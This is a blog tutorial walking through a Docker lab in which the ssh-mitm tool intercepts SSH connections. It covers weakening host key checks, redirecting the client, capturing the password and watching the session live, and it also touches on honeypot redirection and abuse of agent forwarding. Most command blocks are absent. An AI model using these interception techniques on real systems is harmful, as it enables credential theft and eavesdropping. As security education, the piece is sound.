What you’ll learn

Requirements

Architecture Diagram

How to run

Disabling host key verification

Choosing the MITM

Start the MITM

Compromising the client

Exploiting the malicious ssh configuration

Monitor the data being sent in real time

What about public-key-based authentication?

SSH Agent Forwarding

Key Takeaways

Conclusion

Bibliography In this article, we’ll explore how a Man-in-the-Middle (MITM) attack works using a small Docker-based lab.

We’ll simulate how an attacker can steal credentials and monitor session traffic while clients believe they’re connected to a legitimate server. This is the second part of my series named "How SSH Works—and How It Breaks". If you haven't read the first part, you can find it here. You can download the resources for this exercise from the repository on my GitHub. Execute the following command to clone the project: Here is an overview of each role: In this diagram, the client believes it is connected directly to the server, but all traffic is routed through the MITM. Ensure Docker is running. On Linux, you can use: sudo service docker status. Start the containers by executing docker compose up. You should see something like this: Three containers will be started: a client, a server, and a malicious container acting as the MITM. The next step is to connect to those containers by executing each of these commands on different terminals or tabs: Once connected to the containers, we're ready to start. Now that we have the containers running, let's set up an unsafe SSH configuration on the client to simulate a real-world vulnerability: ⚠️ WARNING: The following configuration is extremely insecure. Never use this in production or on any machine with access to important systems. This configuration effectively removes SSH’s primary defense against MITM attacks: verifying that the server you’re connecting to is the one you trust. This is something you should never do on a real system. However, if you are using custom SSH client implementations, it is possible to provide a weak configuration file for your client if you forgot to add it or weren’t aware of this. We are using the OpenSSH client just for simplicity. Now try to ssh to the server. The password is 1234. You should see something like this: As you can see, the connection was successful and no host key verification was performed by the SSH client, because we disabled it. What should have happened in a secure setup: After you type "yes", the server's public key will be added to the .ssh/known_hosts file, so the second time you ssh to the server, it won't display this confirmation message. There are several tools that can act as a MITM. For this exercise, we'll use ssh-mitm, an interactive SSH interception tool for authorized security audits and penetration testing. It provides everything we need for the exercise. Installing the tool is very straightforward. You can check the documentation for the different installation methods. For the purpose of the exercise, I’ve already set this up so you can focus on the exercise. Execute the following command in the MITM server: This will start the MITM service listening on port 22. Note the --remote-host flag. This will tell the service to connect to that machine when accepting incoming connections. In the previous chapter, we explored common SSH-related attacks such as DNS poisoning and routing attacks. For this exercise, we will simulate DNS redirection by modifying the .ssh/config file, which redirects traffic intended for ssh-lab-server to the ssh-lab-mitm. Execute the following command on the client: This line overrides the DNS resolution for this container, and forces it to connect to the malicious server instead of the real server when using the hostname instead of the IP address. Note: In real-world scenarios, attackers don’t modify your .ssh/config. They exploit DNS, routing, or compromised networks. In this lab, we simulate that behavior by manually redirecting traffic. Now when the user tries to connect to the server, the connection will be intercepted by the MITM. Execute the following command to connect to the server: The output will look similar to this: Then type the password again (1234). Once connected, execute a couple of commands: From the client’s perspective, everything looks fine. The server's IP address is 172.18.3.102, which match the one from the logs. However, that container has been the victim of a MITM attack. What happened? The attacker established two independent encrypted sessions: one with the client and one with the server. Because it sits between them, it can read the traffic; not because SSH encryption is broken, but because each side is communicating with the attacker directly. The attack only worked because the client trusted the attacker’s host key. If we hadn’t weakened our SSH configuration, the OpenSSH client would have prompted us to confirm the server’s host key. If the client already had the server’s public key in the known_hosts file, it would have warned us that the server’s key had changed. See the When the Fingerprints Don't Match section from the previous chapter. If you check the MITM logs, you will see the credentials that were used to authenticate: The attacker can authenticate to the real server using the credentials provided by the client. The server is talking with the MITM, not with the client. However, a MITM cannot always connect to the target server. This depends on the SSH configuration and the attacker’s position in the network. Alternatively, an attacker can redirect victims to a fake (honeypot) server that mimics the target to capture credentials. Because there are two separate encrypted sessions (Client ↔ MITM and MITM ↔ Server), the attacker can decrypt, inspect, and re-encrypt the traffic. This means the MITM can monitor all data being sent and received. Check the following log in the ssh-lab-mitm: If you execute ssh -p <port> 127.0.0.1 in the MITM server, you will be able to see what the user is doing in real time. The attacker can now store this information or send it to another server for later use. For public-key authentication, the MITM cannot authenticate as the client because it does not have access to the private key required to sign the server’s challenge during the handshake. To bypass this protocol protection, one option for attackers is to redirect the traffic to a honeypot, which is basically another machine owned by the attacker (or previously compromised), that looks like the legitimate server but is under his control. Users might notice something wrong (missing files, different configurations) and execute diagnostic commands that can leak sensitive information. Another option is to authenticate to the server using different credentials, but that requires knowing the credentials of another user who has access to the target server. The tool used in this lab also supports honeypot redirection: This command specifies a fallback host and credentials that the MITM can use to connect to the honeypot. The SSH Agent is the key manager of SSH. It runs in the background, separately from ssh. It stores private keys and uses them to sign authentication requests. SSH Agent Forwarding allows a remote server to access your local ssh-agent, enabling authentication to further SSH connections without transmitting your private key. This feature is not enabled by default, but if agent forwarding is enabled, a MITM can authenticate to the target server using the victim's SSH agent, without ever accessing your private key directly. The private key never leaves your machine. Only signatures are transmitted through the tunnel. However, this feature should be used sparingly. Common (and safer) scenarios include: Agent forwarding is generally discouraged in CI/CD environments. Prefer dedicated deploy keys or short-lived credentials instead. Here is an example of how you can enable ssh agent forwarding: You can refer to SSH Agent Explained to learn more about this. Security measures and best practices will be covered in more detail in the third part of the series. In this article, we explored how MITM attacks can compromise SSH connections, steal credentials and monitor traffic between the client and the server. We learned that vulnerabilities don't come from a single weak point. They come from a combination of factors such as weak SSH configurations (client or server), misuse of ssh-agent forwarding, and compromised infrastructure. Even with public-key authentication, attackers can redirect traffic to honeypots or access your ssh-agent if forwarding is enabled. Security must be enforced at every layer of the connection. In the third part of this series, we'll explore best practices and actionable recommendations to defend against these attacks and secure your SSH infrastructure. See you in the next article! Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse